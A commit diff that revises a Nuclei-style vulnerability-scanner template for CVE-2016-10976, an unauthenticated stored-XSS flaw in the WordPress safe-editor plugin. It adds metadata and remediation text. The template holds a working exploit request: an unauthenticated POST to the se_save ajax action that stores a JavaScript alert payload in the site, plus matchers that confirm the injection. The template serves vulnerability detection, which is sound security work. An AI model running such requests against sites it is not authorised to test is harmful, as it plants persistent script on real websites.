fix-template
parent
09fa4fd549
commit
0a8878aba8
|
@ -4,20 +4,29 @@ info:
|
|||
name: safe-editor <= 1.1 - Unauthenticated CSS/JS-injection
|
||||
author: Splint3r7
|
||||
severity: medium
|
||||
description: When saving JS/CSS in this plugin then both private and public ajax-hooks are being used. Because of this anyone can post JS/CSS that are saved to the db and printed to the head and footer portion of the page.
|
||||
description: |
|
||||
The safe-editor plugin before 1.2 for WordPress has no se_save authentication, with resultant XSS.
|
||||
remediation: |
|
||||
Update to the latest version of safe-editor plugin or apply the patch provided by the vendor.
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2016-10976
|
||||
- https://wordpress.org/plugins/safe-editor/#developers
|
||||
- https://github.com/ARPSyndicate/cvemon
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
||||
cvss-score: 6.1
|
||||
cve-id: CVE-2016-10976
|
||||
cwe-id: CWE-79
|
||||
epss-score: 0.00096
|
||||
epss-percentile: 0.41555
|
||||
cpe: cpe:2.3:a:kodebyraaet:safe_editor:*:*:*:*:*:wordpress:*:*
|
||||
metadata:
|
||||
max-request: 1
|
||||
tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan
|
||||
max-request: 2
|
||||
vendor: kodebyraaet
|
||||
product: safe_editor
|
||||
framework: wordpress
|
||||
tags: cve,cve2016,wordpress,plugin,xss,safeeditor
|
||||
|
||||
flow: http(1) && http(2)
|
||||
|
||||
http:
|
||||
|
@ -27,7 +36,7 @@ http:
|
|||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
|
||||
action=se_save&type=js&data=alert("XSS")
|
||||
action=se_save&type=js&data=alert("document.domain")
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
|
@ -36,16 +45,17 @@ http:
|
|||
- 'status_code == 200'
|
||||
- 'len(content_Length) == 0'
|
||||
- 'contains(content_type, "text/html")'
|
||||
condition: and
|
||||
internal: true
|
||||
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
matchers-condition: and
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code_2 == 200'
|
||||
- 'contains(content_type_2, "text/html")'
|
||||
- 'contains(body_2, "alert(\"XSS\")")'
|
||||
- 'contains(body_2, "save_edit_js")'
|
||||
- 'status_code == 200'
|
||||
- 'contains(content_type, "text/html")'
|
||||
- 'contains_all(body, "alert(\"document.domain\")", "save_edit_js")'
|
||||
condition: and
|
Loading…
Reference in New Issue